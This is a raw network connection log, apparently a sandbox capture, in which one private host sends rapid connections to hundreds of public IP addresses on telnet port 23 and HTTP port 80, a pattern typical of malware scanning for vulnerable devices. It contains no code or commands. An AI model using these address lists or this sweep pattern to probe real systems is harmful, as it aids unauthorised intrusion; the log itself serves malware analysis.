Dec 3, 2024 22:16:44.349219084 CET	37963	23	192.168.2.23	105.159.193.227
Dec 3, 2024 22:16:44.349215984 CET	37963	23	192.168.2.23	205.59.185.75
Dec 3, 2024 22:16:44.349215031 CET	37963	23	192.168.2.23	206.89.86.241
Dec 3, 2024 22:16:44.349215031 CET	37963	23	192.168.2.23	144.218.18.241
Dec 3, 2024 22:16:44.349215031 CET	37963	23	192.168.2.23	1.104.209.17
Dec 3, 2024 22:16:44.349215031 CET	37963	23	192.168.2.23	89.173.184.72
Dec 3, 2024 22:16:44.349222898 CET	37963	23	192.168.2.23	165.207.209.122
Dec 3, 2024 22:16:44.349234104 CET	37963	23	192.168.2.23	90.88.117.16
Dec 3, 2024 22:16:44.349241018 CET	37963	23	192.168.2.23	97.154.73.213
Dec 3, 2024 22:16:44.349241018 CET	37963	23	192.168.2.23	17.183.187.96
Dec 3, 2024 22:16:44.349241972 CET	37963	23	192.168.2.23	102.167.58.114
Dec 3, 2024 22:16:44.349244118 CET	37963	23	192.168.2.23	184.77.188.32
Dec 3, 2024 22:16:44.349247932 CET	37963	23	192.168.2.23	180.122.191.112
Dec 3, 2024 22:16:44.349247932 CET	37963	23	192.168.2.23	128.120.23.119
Dec 3, 2024 22:16:44.349247932 CET	37963	23	192.168.2.23	219.192.128.161
Dec 3, 2024 22:16:44.349248886 CET	37963	23	192.168.2.23	221.142.53.62
Dec 3, 2024 22:16:44.349255085 CET	37963	23	192.168.2.23	208.25.47.102
Dec 3, 2024 22:16:44.349255085 CET	37963	23	192.168.2.23	107.154.137.94
Dec 3, 2024 22:16:44.349258900 CET	37963	23	192.168.2.23	146.213.202.205
Dec 3, 2024 22:16:44.349265099 CET	37963	23	192.168.2.23	213.199.49.69
Dec 3, 2024 22:16:44.349266052 CET	37963	23	192.168.2.23	87.142.230.210
Dec 3, 2024 22:16:44.349268913 CET	37963	23	192.168.2.23	32.236.169.160
Dec 3, 2024 22:16:44.349282980 CET	37963	23	192.168.2.23	173.128.143.132
Dec 3, 2024 22:16:44.349286079 CET	37963	23	192.168.2.23	158.192.155.201
Dec 3, 2024 22:16:44.349286079 CET	37963	23	192.168.2.23	104.202.191.108
Dec 3, 2024 22:16:44.349308968 CET	37963	23	192.168.2.23	2.72.161.195
Dec 3, 2024 22:16:44.349308968 CET	37963	23	192.168.2.23	64.207.225.66
Dec 3, 2024 22:16:44.349308968 CET	37963	23	192.168.2.23	222.201.210.162
Dec 3, 2024 22:16:44.349308968 CET	37963	23	192.168.2.23	196.215.76.186
Dec 3, 2024 22:16:44.349314928 CET	37963	23	192.168.2.23	70.11.178.48
Dec 3, 2024 22:16:44.349315882 CET	37963	23	192.168.2.23	155.122.13.27
Dec 3, 2024 22:16:44.349317074 CET	37963	23	192.168.2.23	133.108.197.45
Dec 3, 2024 22:16:44.349317074 CET	37963	23	192.168.2.23	5.196.68.45
Dec 3, 2024 22:16:44.349318027 CET	37963	23	192.168.2.23	162.173.48.109
Dec 3, 2024 22:16:44.349318027 CET	37963	23	192.168.2.23	223.40.197.22
Dec 3, 2024 22:16:44.349323988 CET	37963	23	192.168.2.23	47.77.147.49
Dec 3, 2024 22:16:44.349323988 CET	37963	23	192.168.2.23	2.78.127.177
Dec 3, 2024 22:16:44.349343061 CET	37963	23	192.168.2.23	155.73.125.240
Dec 3, 2024 22:16:44.349343061 CET	37963	23	192.168.2.23	148.15.82.77
Dec 3, 2024 22:16:44.349349022 CET	37963	23	192.168.2.23	80.17.252.203
Dec 3, 2024 22:16:44.349349976 CET	37963	23	192.168.2.23	111.9.237.115
Dec 3, 2024 22:16:44.349350929 CET	37963	23	192.168.2.23	38.88.112.139
Dec 3, 2024 22:16:44.349350929 CET	37963	23	192.168.2.23	63.136.248.4
Dec 3, 2024 22:16:44.349354982 CET	37963	23	192.168.2.23	93.78.124.8
Dec 3, 2024 22:16:44.349354982 CET	37963	23	192.168.2.23	185.179.146.249
Dec 3, 2024 22:16:44.349354982 CET	37963	23	192.168.2.23	82.99.206.130
Dec 3, 2024 22:16:44.349356890 CET	37963	23	192.168.2.23	149.14.216.171
Dec 3, 2024 22:16:44.349359989 CET	37963	23	192.168.2.23	14.57.182.10
Dec 3, 2024 22:16:44.349374056 CET	37963	23	192.168.2.23	68.167.35.12
Dec 3, 2024 22:16:44.349375963 CET	37963	23	192.168.2.23	13.132.81.192
Dec 3, 2024 22:16:44.349384069 CET	37963	23	192.168.2.23	85.198.67.218
Dec 3, 2024 22:16:44.349386930 CET	37963	23	192.168.2.23	170.195.48.47
Dec 3, 2024 22:16:44.349386930 CET	37963	23	192.168.2.23	75.203.7.139
Dec 3, 2024 22:16:44.349386930 CET	37963	23	192.168.2.23	164.161.138.36
Dec 3, 2024 22:16:44.349396944 CET	37963	23	192.168.2.23	5.224.46.59
Dec 3, 2024 22:16:44.349406958 CET	37963	23	192.168.2.23	156.78.200.87
Dec 3, 2024 22:16:44.349409103 CET	37963	23	192.168.2.23	98.129.86.2
Dec 3, 2024 22:16:44.349410057 CET	37963	23	192.168.2.23	100.9.14.250
Dec 3, 2024 22:16:44.349410057 CET	37963	23	192.168.2.23	42.107.109.79
Dec 3, 2024 22:16:44.349416971 CET	37963	23	192.168.2.23	59.153.231.18
Dec 3, 2024 22:16:44.349422932 CET	37963	23	192.168.2.23	108.164.165.229
Dec 3, 2024 22:16:44.349428892 CET	37963	23	192.168.2.23	152.106.60.20
Dec 3, 2024 22:16:44.349428892 CET	37963	23	192.168.2.23	143.126.201.200
Dec 3, 2024 22:16:44.349430084 CET	37963	23	192.168.2.23	195.119.194.230
Dec 3, 2024 22:16:44.349483013 CET	37963	23	192.168.2.23	82.39.176.42
Dec 3, 2024 22:16:44.349534035 CET	37963	23	192.168.2.23	24.220.30.148
Dec 3, 2024 22:16:44.349534035 CET	37963	23	192.168.2.23	58.116.37.114
Dec 3, 2024 22:16:44.353216887 CET	37707	80	192.168.2.23	211.62.146.210
Dec 3, 2024 22:16:44.353223085 CET	37707	80	192.168.2.23	81.192.142.210
Dec 3, 2024 22:16:44.353235006 CET	37707	80	192.168.2.23	190.170.9.178
Dec 3, 2024 22:16:44.353245974 CET	37707	80	192.168.2.23	147.150.114.3
Dec 3, 2024 22:16:44.353257895 CET	37707	80	192.168.2.23	206.137.221.95
Dec 3, 2024 22:16:44.353257895 CET	37707	80	192.168.2.23	109.74.43.137
Dec 3, 2024 22:16:44.353257895 CET	37707	80	192.168.2.23	168.119.9.144
Dec 3, 2024 22:16:44.353260994 CET	37707	80	192.168.2.23	218.110.176.29
Dec 3, 2024 22:16:44.353260994 CET	37707	80	192.168.2.23	59.28.248.94
Dec 3, 2024 22:16:44.353261948 CET	37707	80	192.168.2.23	67.137.214.48
Dec 3, 2024 22:16:44.353264093 CET	37707	80	192.168.2.23	183.147.119.185
Dec 3, 2024 22:16:44.353266001 CET	37707	80	192.168.2.23	35.224.85.210
Dec 3, 2024 22:16:44.353266001 CET	37707	80	192.168.2.23	188.56.219.75
Dec 3, 2024 22:16:44.353266001 CET	37707	80	192.168.2.23	123.229.200.194
Dec 3, 2024 22:16:44.353281975 CET	37707	80	192.168.2.23	101.9.7.214
Dec 3, 2024 22:16:44.353283882 CET	37707	80	192.168.2.23	178.35.101.136
Dec 3, 2024 22:16:44.353286028 CET	37707	80	192.168.2.23	146.217.140.101
Dec 3, 2024 22:16:44.353286028 CET	37707	80	192.168.2.23	192.81.124.130
Dec 3, 2024 22:16:44.353303909 CET	37707	80	192.168.2.23	23.125.28.35
Dec 3, 2024 22:16:44.353303909 CET	37707	80	192.168.2.23	151.199.198.224
Dec 3, 2024 22:16:44.353311062 CET	37707	80	192.168.2.23	101.24.192.21
Dec 3, 2024 22:16:44.353311062 CET	37707	80	192.168.2.23	141.154.208.126
Dec 3, 2024 22:16:44.353311062 CET	37707	80	192.168.2.23	84.22.19.134
Dec 3, 2024 22:16:44.353312969 CET	37707	80	192.168.2.23	141.77.20.135
Dec 3, 2024 22:16:44.353317022 CET	37707	80	192.168.2.23	27.227.149.29
Dec 3, 2024 22:16:44.353317022 CET	37707	80	192.168.2.23	111.100.9.53
Dec 3, 2024 22:16:44.353317022 CET	37707	80	192.168.2.23	75.98.135.187
Dec 3, 2024 22:16:44.353317022 CET	37707	80	192.168.2.23	182.234.25.21
Dec 3, 2024 22:16:44.353317022 CET	37707	80	192.168.2.23	119.94.120.76
Dec 3, 2024 22:16:44.353318930 CET	37707	80	192.168.2.23	164.28.111.122
Dec 3, 2024 22:16:44.353319883 CET	37707	80	192.168.2.23	136.66.6.83
Dec 3, 2024 22:16:44.353326082 CET	37707	80	192.168.2.23	150.54.226.100
Dec 3, 2024 22:16:44.353327036 CET	37707	80	192.168.2.23	110.27.227.5
Dec 3, 2024 22:16:44.353328943 CET	37707	80	192.168.2.23	99.242.217.50
Dec 3, 2024 22:16:44.353329897 CET	37707	80	192.168.2.23	58.41.185.116
Dec 3, 2024 22:16:44.353338957 CET	37707	80	192.168.2.23	168.90.250.255
Dec 3, 2024 22:16:44.353338957 CET	37707	80	192.168.2.23	126.210.132.115
Dec 3, 2024 22:16:44.353338957 CET	37707	80	192.168.2.23	44.2.163.48
Dec 3, 2024 22:16:44.353343010 CET	37707	80	192.168.2.23	153.132.153.126
Dec 3, 2024 22:16:44.353343010 CET	37707	80	192.168.2.23	190.178.17.255
Dec 3, 2024 22:16:44.353344917 CET	37707	80	192.168.2.23	173.229.168.112
Dec 3, 2024 22:16:44.353344917 CET	37707	80	192.168.2.23	134.212.26.134
Dec 3, 2024 22:16:44.353344917 CET	37707	80	192.168.2.23	66.247.109.12
Dec 3, 2024 22:16:44.353344917 CET	37707	80	192.168.2.23	191.128.34.13
Dec 3, 2024 22:16:44.353353977 CET	37707	80	192.168.2.23	183.147.92.109
Dec 3, 2024 22:16:44.353353977 CET	37707	80	192.168.2.23	155.53.185.142
Dec 3, 2024 22:16:44.353354931 CET	37707	80	192.168.2.23	221.234.98.185
Dec 3, 2024 22:16:44.353355885 CET	37707	80	192.168.2.23	206.10.113.249
Dec 3, 2024 22:16:44.353354931 CET	37707	80	192.168.2.23	4.101.69.235
Dec 3, 2024 22:16:44.353359938 CET	37707	80	192.168.2.23	120.154.82.255
Dec 3, 2024 22:16:44.353359938 CET	37707	80	192.168.2.23	49.47.5.125
Dec 3, 2024 22:16:44.353359938 CET	37707	80	192.168.2.23	116.108.142.150
Dec 3, 2024 22:16:44.353359938 CET	37707	80	192.168.2.23	124.26.102.113
Dec 3, 2024 22:16:44.353362083 CET	37707	80	192.168.2.23	169.188.166.16
Dec 3, 2024 22:16:44.353362083 CET	37707	80	192.168.2.23	20.252.248.79
Dec 3, 2024 22:16:44.353365898 CET	37707	80	192.168.2.23	200.37.61.74
Dec 3, 2024 22:16:44.353365898 CET	37707	80	192.168.2.23	116.1.139.82
Dec 3, 2024 22:16:44.353365898 CET	37707	80	192.168.2.23	42.128.34.6
Dec 3, 2024 22:16:44.353365898 CET	37707	80	192.168.2.23	178.223.247.145
Dec 3, 2024 22:16:44.353365898 CET	37707	80	192.168.2.23	183.97.189.100
Dec 3, 2024 22:16:44.353365898 CET	37707	80	192.168.2.23	220.144.247.165
Dec 3, 2024 22:16:44.353368998 CET	37707	80	192.168.2.23	38.109.192.14
Dec 3, 2024 22:16:44.353368998 CET	37707	80	192.168.2.23	75.22.35.177
Dec 3, 2024 22:16:44.353377104 CET	37707	80	192.168.2.23	114.100.119.24
Dec 3, 2024 22:16:44.353379011 CET	37707	80	192.168.2.23	143.60.119.7
Dec 3, 2024 22:16:44.353377104 CET	37707	80	192.168.2.23	46.2.147.97
Dec 3, 2024 22:16:44.353379011 CET	37707	80	192.168.2.23	124.220.207.242
Dec 3, 2024 22:16:44.353377104 CET	37707	80	192.168.2.23	153.141.134.100
Dec 3, 2024 22:16:44.353377104 CET	37707	80	192.168.2.23	84.180.18.221
Dec 3, 2024 22:16:44.353377104 CET	37707	80	192.168.2.23	113.90.116.179
Dec 3, 2024 22:16:44.353393078 CET	37707	80	192.168.2.23	72.131.211.43
Dec 3, 2024 22:16:44.353394985 CET	37707	80	192.168.2.23	148.107.137.12
Dec 3, 2024 22:16:44.353396893 CET	37707	80	192.168.2.23	128.72.97.171
Dec 3, 2024 22:16:44.353396893 CET	37707	80	192.168.2.23	153.147.48.254
Dec 3, 2024 22:16:44.353404999 CET	37707	80	192.168.2.23	37.12.69.40
Dec 3, 2024 22:16:44.353404999 CET	37707	80	192.168.2.23	106.166.94.36
Dec 3, 2024 22:16:44.353404999 CET	37707	80	192.168.2.23	153.162.231.173
Dec 3, 2024 22:16:44.353416920 CET	37707	80	192.168.2.23	101.209.122.99
Dec 3, 2024 22:16:44.353416920 CET	37707	80	192.168.2.23	172.240.174.180
Dec 3, 2024 22:16:44.353416920 CET	37707	80	192.168.2.23	8.194.18.121
Dec 3, 2024 22:16:44.353425980 CET	37707	80	192.168.2.23	138.190.34.76
Dec 3, 2024 22:16:44.353430986 CET	37707	80	192.168.2.23	218.251.67.95
Dec 3, 2024 22:16:44.353430986 CET	37707	80	192.168.2.23	107.220.123.217
Dec 3, 2024 22:16:44.353434086 CET	37707	80	192.168.2.23	106.65.96.203
Dec 3, 2024 22:16:44.353440046 CET	37707	80	192.168.2.23	39.228.117.252
Dec 3, 2024 22:16:44.353440046 CET	37707	80	192.168.2.23	89.163.41.3
Dec 3, 2024 22:16:44.353441954 CET	37707	80	192.168.2.23	115.235.82.174
Dec 3, 2024 22:16:44.353445053 CET	37707	80	192.168.2.23	92.114.31.220
Dec 3, 2024 22:16:44.353445053 CET	37707	80	192.168.2.23	141.180.183.143
Dec 3, 2024 22:16:44.353445053 CET	37707	80	192.168.2.23	88.197.144.96
Dec 3, 2024 22:16:44.353461981 CET	37707	80	192.168.2.23	179.4.129.78
Dec 3, 2024 22:16:44.353461981 CET	37707	80	192.168.2.23	185.10.244.114
Dec 3, 2024 22:16:44.353467941 CET	37707	80	192.168.2.23	216.150.249.113
Dec 3, 2024 22:16:44.353471994 CET	37707	80	192.168.2.23	35.59.185.71
Dec 3, 2024 22:16:44.353480101 CET	37707	80	192.168.2.23	91.177.160.215
Dec 3, 2024 22:16:44.353480101 CET	37707	80	192.168.2.23	140.209.41.32
Dec 3, 2024 22:16:44.353492975 CET	37707	80	192.168.2.23	110.205.174.183
Dec 3, 2024 22:16:44.353496075 CET	37707	80	192.168.2.23	132.95.8.166
Dec 3, 2024 22:16:44.353502035 CET	37707	80	192.168.2.23	121.144.4.187
Dec 3, 2024 22:16:44.353502035 CET	37707	80	192.168.2.23	78.135.63.65
Dec 3, 2024 22:16:44.353507042 CET	37707	80	192.168.2.23	191.31.172.89
Dec 3, 2024 22:16:44.353513002 CET	37707	80	192.168.2.23	172.185.41.73
Dec 3, 2024 22:16:44.353518963 CET	37707	80	192.168.2.23	74.30.219.31
Dec 3, 2024 22:16:44.353518963 CET	37707	80	192.168.2.23	150.54.37.205
Dec 3, 2024 22:16:44.353518963 CET	37707	80	192.168.2.23	102.116.56.36
Dec 3, 2024 22:16:44.353518963 CET	37707	80	192.168.2.23	149.252.242.173
Dec 3, 2024 22:16:44.353529930 CET	37707	80	192.168.2.23	147.119.95.33
Dec 3, 2024 22:16:44.353529930 CET	37707	80	192.168.2.23	58.67.79.15
Dec 3, 2024 22:16:44.353533983 CET	37707	80	192.168.2.23	209.50.255.160
Dec 3, 2024 22:16:44.353533983 CET	37707	80	192.168.2.23	171.102.234.99
Dec 3, 2024 22:16:44.353533983 CET	37707	80	192.168.2.23	92.185.67.49
Dec 3, 2024 22:16:44.353537083 CET	37707	80	192.168.2.23	202.253.53.205
Dec 3, 2024 22:16:44.353537083 CET	37707	80	192.168.2.23	91.73.213.192
Dec 3, 2024 22:16:44.353538036 CET	37707	80	192.168.2.23	107.238.244.171
Dec 3, 2024 22:16:44.353537083 CET	37707	80	192.168.2.23	152.123.226.143
Dec 3, 2024 22:16:44.353559017 CET	37707	80	192.168.2.23	189.156.120.97
Dec 3, 2024 22:16:44.353560925 CET	37707	80	192.168.2.23	190.20.250.216
Dec 3, 2024 22:16:44.353560925 CET	37707	80	192.168.2.23	162.80.76.154
Dec 3, 2024 22:16:44.353560925 CET	37707	80	192.168.2.23	109.90.190.100
Dec 3, 2024 22:16:44.353569984 CET	37707	80	192.168.2.23	94.51.190.154
Dec 3, 2024 22:16:44.353573084 CET	37707	80	192.168.2.23	218.175.211.74
Dec 3, 2024 22:16:44.353573084 CET	37707	80	192.168.2.23	124.155.157.214
Dec 3, 2024 22:16:44.353583097 CET	37707	80	192.168.2.23	98.21.159.182
Dec 3, 2024 22:16:44.353591919 CET	37707	80	192.168.2.23	107.5.96.55
Dec 3, 2024 22:16:44.353595018 CET	37707	80	192.168.2.23	129.42.41.141
Dec 3, 2024 22:16:44.353595018 CET	37707	80	192.168.2.23	123.186.120.110
Dec 3, 2024 22:16:44.353602886 CET	37707	80	192.168.2.23	178.71.85.20
Dec 3, 2024 22:16:44.353604078 CET	37707	80	192.168.2.23	153.253.14.89
Dec 3, 2024 22:16:44.353612900 CET	37707	80	192.168.2.23	195.165.1.40
Dec 3, 2024 22:16:44.353612900 CET	37707	80	192.168.2.23	87.28.105.141
Dec 3, 2024 22:16:44.353617907 CET	37707	80	192.168.2.23	109.9.5.181
Dec 3, 2024 22:16:44.353624105 CET	37707	80	192.168.2.23	121.111.108.142
Dec 3, 2024 22:16:44.353626013 CET	37707	80	192.168.2.23	174.90.158.108
Dec 3, 2024 22:16:44.353626013 CET	37707	80	192.168.2.23	42.232.253.79
Dec 3, 2024 22:16:44.353626013 CET	37707	80	192.168.2.23	76.6.245.80
Dec 3, 2024 22:16:44.353631973 CET	37707	80	192.168.2.23	145.170.189.129
Dec 3, 2024 22:16:44.353636026 CET	37707	80	192.168.2.23	162.221.103.138
Dec 3, 2024 22:16:44.353636026 CET	37707	80	192.168.2.23	167.194.161.113
Dec 3, 2024 22:16:44.353648901 CET	37707	80	192.168.2.23	131.189.168.238
Dec 3, 2024 22:16:44.353652954 CET	37707	80	192.168.2.23	169.218.77.103
Dec 3, 2024 22:16:44.353656054 CET	37707	80	192.168.2.23	48.202.61.101
Dec 3, 2024 22:16:44.353665113 CET	37707	80	192.168.2.23	161.73.5.251
Dec 3, 2024 22:16:44.353665113 CET	37707	80	192.168.2.23	71.38.38.83
Dec 3, 2024 22:16:44.353668928 CET	37707	80	192.168.2.23	126.31.137.32
Dec 3, 2024 22:16:44.353668928 CET	37707	80	192.168.2.23	40.36.55.146
Dec 3, 2024 22:16:44.353677034 CET	37707	80	192.168.2.23	179.63.218.38
Dec 3, 2024 22:16:44.353693008 CET	37707	80	192.168.2.23	201.10.9.139
Dec 3, 2024 22:16:44.353694916 CET	37707	80	192.168.2.23	35.93.15.89
Dec 3, 2024 22:16:44.353694916 CET	37707	80	192.168.2.23	160.195.61.149
Dec 3, 2024 22:16:44.353701115 CET	37707	80	192.168.2.23	196.26.82.104
Dec 3, 2024 22:16:44.353702068 CET	37707	80	192.168.2.23	90.175.24.8
Dec 3, 2024 22:16:44.353703022 CET	37707	80	192.168.2.23	47.94.166.229
Dec 3, 2024 22:16:44.353702068 CET	37707	80	192.168.2.23	221.77.169.194
Dec 3, 2024 22:16:44.353703022 CET	37707	80	192.168.2.23	217.130.206.6
Dec 3, 2024 22:16:44.353708029 CET	37707	80	192.168.2.23	197.9.21.220
Dec 3, 2024 22:16:44.353708029 CET	37707	80	192.168.2.23	220.92.43.209
Dec 3, 2024 22:16:44.353708982 CET	37707	80	192.168.2.23	114.179.187.37
Dec 3, 2024 22:16:44.353708982 CET	37707	80	192.168.2.23	5.183.115.119
Dec 3, 2024 22:16:44.353708982 CET	37707	80	192.168.2.23	109.112.31.228
Dec 3, 2024 22:16:44.353708982 CET	37707	80	192.168.2.23	110.185.58.110
Dec 3, 2024 22:16:44.353709936 CET	37707	80	192.168.2.23	58.103.216.145
Dec 3, 2024 22:16:44.353710890 CET	37707	80	192.168.2.23	142.153.85.97
Dec 3, 2024 22:16:44.353710890 CET	37707	80	192.168.2.23	48.129.52.29
Dec 3, 2024 22:16:44.353715897 CET	37707	80	192.168.2.23	177.62.169.85
Dec 3, 2024 22:16:44.353715897 CET	37707	80	192.168.2.23	43.44.140.23
Dec 3, 2024 22:16:44.353724003 CET	37707	80	192.168.2.23	119.213.252.117
Dec 3, 2024 22:16:44.353724003 CET	37707	80	192.168.2.23	145.188.164.165
Dec 3, 2024 22:16:44.353724003 CET	37707	80	192.168.2.23	53.67.215.76
Dec 3, 2024 22:16:44.353729963 CET	37707	80	192.168.2.23	48.215.82.72
Dec 3, 2024 22:16:44.353729963 CET	37707	80	192.168.2.23	103.72.80.161
Dec 3, 2024 22:16:44.353732109 CET	37707	80	192.168.2.23	85.191.63.19
Dec 3, 2024 22:16:44.353732109 CET	37707	80	192.168.2.23	8.248.248.115
Dec 3, 2024 22:16:44.353732109 CET	37707	80	192.168.2.23	89.100.64.203
Dec 3, 2024 22:16:44.353735924 CET	37707	80	192.168.2.23	193.120.190.252
Dec 3, 2024 22:16:44.353735924 CET	37707	80	192.168.2.23	25.129.217.78
Dec 3, 2024 22:16:44.353749990 CET	37707	80	192.168.2.23	77.34.105.218
Dec 3, 2024 22:16:44.353750944 CET	37707	80	192.168.2.23	103.173.48.41
Dec 3, 2024 22:16:44.353751898 CET	37707	80	192.168.2.23	94.74.152.44
Dec 3, 2024 22:16:44.353751898 CET	37707	80	192.168.2.23	185.94.73.23
Dec 3, 2024 22:16:44.353758097 CET	37707	80	192.168.2.23	175.230.93.244
Dec 3, 2024 22:16:44.353765011 CET	37707	80	192.168.2.23	183.1.169.38
Dec 3, 2024 22:16:44.353769064 CET	37707	80	192.168.2.23	47.52.132.162
Dec 3, 2024 22:16:44.353769064 CET	37707	80	192.168.2.23	112.166.108.108
Dec 3, 2024 22:16:44.353773117 CET	37707	80	192.168.2.23	76.53.242.107
Dec 3, 2024 22:16:44.353787899 CET	37707	80	192.168.2.23	57.52.102.210
Dec 3, 2024 22:16:44.353787899 CET	37707	80	192.168.2.23	155.122.13.6
Dec 3, 2024 22:16:44.353787899 CET	37707	80	192.168.2.23	150.154.10.246
Dec 3, 2024 22:16:44.353786945 CET	37707	80	192.168.2.23	8.19.230.153
Dec 3, 2024 22:16:44.353802919 CET	37707	80	192.168.2.23	201.180.56.99
Dec 3, 2024 22:16:44.353802919 CET	37707	80	192.168.2.23	96.252.253.9
Dec 3, 2024 22:16:44.353813887 CET	37707	80	192.168.2.23	60.183.215.52
Dec 3, 2024 22:16:44.353816986 CET	37707	80	192.168.2.23	99.168.192.160
Dec 3, 2024 22:16:44.353817940 CET	37707	80	192.168.2.23	182.60.255.223
Dec 3, 2024 22:16:44.353817940 CET	37707	80	192.168.2.23	105.18.204.75
Dec 3, 2024 22:16:44.353817940 CET	37707	80	192.168.2.23	41.194.56.106
Dec 3, 2024 22:16:44.353817940 CET	37707	80	192.168.2.23	196.191.13.108
Dec 3, 2024 22:16:44.353832960 CET	37707	80	192.168.2.23	74.178.109.36
Dec 3, 2024 22:16:44.353836060 CET	37707	80	192.168.2.23	59.170.178.123
Dec 3, 2024 22:16:44.353840113 CET	37707	80	192.168.2.23	160.113.50.237
Dec 3, 2024 22:16:44.353840113 CET	37707	80	192.168.2.23	61.138.175.216
Dec 3, 2024 22:16:44.353843927 CET	37707	80	192.168.2.23	52.172.169.33
Dec 3, 2024 22:16:44.353852987 CET	37707	80	192.168.2.23	133.168.2.211
Dec 3, 2024 22:16:44.353863955 CET	37707	80	192.168.2.23	101.43.189.233
Dec 3, 2024 22:16:44.353866100 CET	37707	80	192.168.2.23	27.102.154.163
Dec 3, 2024 22:16:44.353866100 CET	37707	80	192.168.2.23	132.179.205.163
Dec 3, 2024 22:16:44.353866100 CET	37707	80	192.168.2.23	70.188.177.73
Dec 3, 2024 22:16:44.353874922 CET	37707	80	192.168.2.23	96.232.238.137
Dec 3, 2024 22:16:44.353888035 CET	37707	80	192.168.2.23	69.188.214.185
Dec 3, 2024 22:16:44.353890896 CET	37707	80	192.168.2.23	143.27.160.144
Dec 3, 2024 22:16:44.353892088 CET	37707	80	192.168.2.23	77.72.243.248
Dec 3, 2024 22:16:44.353900909 CET	37707	80	192.168.2.23	12.76.97.220
Dec 3, 2024 22:16:44.353903055 CET	37707	80	192.168.2.23	42.58.131.147
Dec 3, 2024 22:16:44.353903055 CET	37707	80	192.168.2.23	221.22.175.89
Dec 3, 2024 22:16:44.353903055 CET	37707	80	192.168.2.23	221.68.129.44
Dec 3, 2024 22:16:44.353914022 CET	37707	80	192.168.2.23	41.220.237.167
Dec 3, 2024 22:16:44.353914022 CET	37707	80	192.168.2.23	196.8.161.238
Dec 3, 2024 22:16:44.353920937 CET	37707	80	192.168.2.23	177.73.1.196
Dec 3, 2024 22:16:44.353924036 CET	37707	80	192.168.2.23	198.240.178.191
Dec 3, 2024 22:16:44.353925943 CET	37707	80	192.168.2.23	213.118.10.33
Dec 3, 2024 22:16:44.353930950 CET	37707	80	192.168.2.23	188.22.172.235
Dec 3, 2024 22:16:44.353940010 CET	37707	80	192.168.2.23	166.188.168.48
Dec 3, 2024 22:16:44.353940010 CET	37707	80	192.168.2.23	210.63.194.255
Dec 3, 2024 22:16:44.353940964 CET	37707	80	192.168.2.23	65.241.141.227
Dec 3, 2024 22:16:44.353950977 CET	37707	80	192.168.2.23	146.163.238.49
Dec 3, 2024 22:16:44.353954077 CET	37707	80	192.168.2.23	164.92.127.17
Dec 3, 2024 22:16:44.353956938 CET	37707	80	192.168.2.23	185.41.36.11
Dec 3, 2024 22:16:44.353960037 CET	37707	80	192.168.2.23	152.207.107.162
Dec 3, 2024 22:16:44.353960037 CET	37707	80	192.168.2.23	198.189.52.111
Dec 3, 2024 22:16:44.353960037 CET	37707	80	192.168.2.23	25.2.72.203
Dec 3, 2024 22:16:44.353960991 CET	37707	80	192.168.2.23	64.75.137.197
Dec 3, 2024 22:16:44.353961945 CET	37707	80	192.168.2.23	197.224.95.243
Dec 3, 2024 22:16:44.353974104 CET	37707	80	192.168.2.23	41.253.205.160
Dec 3, 2024 22:16:44.353986025 CET	37707	80	192.168.2.23	40.34.156.234
Dec 3, 2024 22:16:44.353986025 CET	37707	80	192.168.2.23	51.84.0.108
Dec 3, 2024 22:16:44.353986979 CET	37707	80	192.168.2.23	50.127.176.8
Dec 3, 2024 22:16:44.353991032 CET	37707	80	192.168.2.23	107.198.51.255
Dec 3, 2024 22:16:44.354001999 CET	37707	80	192.168.2.23	175.100.148.195
Dec 3, 2024 22:16:44.354005098 CET	37707	80	192.168.2.23	179.75.138.93
Dec 3, 2024 22:16:44.354024887 CET	37707	80	192.168.2.23	142.236.85.207
Dec 3, 2024 22:16:44.354024887 CET	37707	80	192.168.2.23	77.227.238.117
Dec 3, 2024 22:16:44.354027033 CET	37707	80	192.168.2.23	71.20.16.111
Dec 3, 2024 22:16:44.354027987 CET	37707	80	192.168.2.23	96.103.251.7
Dec 3, 2024 22:16:44.354027987 CET	37707	80	192.168.2.23	186.174.127.187
Dec 3, 2024 22:16:44.354027987 CET	37707	80	192.168.2.23	108.80.191.9
Dec 3, 2024 22:16:44.354028940 CET	37707	80	192.168.2.23	134.144.146.72
Dec 3, 2024 22:16:44.354028940 CET	37707	80	192.168.2.23	134.93.50.7
Dec 3, 2024 22:16:44.354039907 CET	37707	80	192.168.2.23	131.162.209.130
Dec 3, 2024 22:16:44.354039907 CET	37707	80	192.168.2.23	90.91.90.134
Dec 3, 2024 22:16:44.354039907 CET	37707	80	192.168.2.23	209.213.220.28
Dec 3, 2024 22:16:44.354039907 CET	37707	80	192.168.2.23	89.100.250.129
Dec 3, 2024 22:16:44.354042053 CET	37707	80	192.168.2.23	121.82.212.142
Dec 3, 2024 22:16:44.354042053 CET	37707	80	192.168.2.23	80.77.93.39
Dec 3, 2024 22:16:44.354042053 CET	37707	80	192.168.2.23	137.13.44.200
Dec 3, 2024 22:16:44.354042053 CET	37707	80	192.168.2.23	217.78.70.10
Dec 3, 2024 22:16:44.354042053 CET	37707	80	192.168.2.23	9.71.85.112
Dec 3, 2024 22:16:44.354047060 CET	37707	80	192.168.2.23	170.98.124.122
Dec 3, 2024 22:16:44.354047060 CET	37707	80	192.168.2.23	87.85.213.85
Dec 3, 2024 22:16:44.354048014 CET	37707	80	192.168.2.23	116.239.85.37
Dec 3, 2024 22:16:44.354048014 CET	37707	80	192.168.2.23	51.27.255.13
Dec 3, 2024 22:16:44.354048014 CET	37707	80	192.168.2.23	82.153.70.125
Dec 3, 2024 22:16:44.354049921 CET	37707	80	192.168.2.23	157.1.46.23
Dec 3, 2024 22:16:44.354049921 CET	37707	80	192.168.2.23	23.16.252.12
Dec 3, 2024 22:16:44.354049921 CET	37707	80	192.168.2.23	189.200.92.22
Dec 3, 2024 22:16:44.354054928 CET	37707	80	192.168.2.23	123.202.147.37
Dec 3, 2024 22:16:44.354057074 CET	37707	80	192.168.2.23	221.189.94.26
Dec 3, 2024 22:16:44.354057074 CET	37707	80	192.168.2.23	195.31.78.44
Dec 3, 2024 22:16:44.354057074 CET	37707	80	192.168.2.23	31.196.148.204
Dec 3, 2024 22:16:44.354074001 CET	37707	80	192.168.2.23	217.141.179.124
Dec 3, 2024 22:16:44.354077101 CET	37707	80	192.168.2.23	139.115.160.196
Dec 3, 2024 22:16:44.354085922 CET	37707	80	192.168.2.23	68.66.52.81
Dec 3, 2024 22:16:44.354085922 CET	37707	80	192.168.2.23	220.134.6.145
Dec 3, 2024 22:16:44.354087114 CET	37707	80	192.168.2.23	116.21.12.27
Dec 3, 2024 22:16:44.354090929 CET	37707	80	192.168.2.23	27.148.171.190
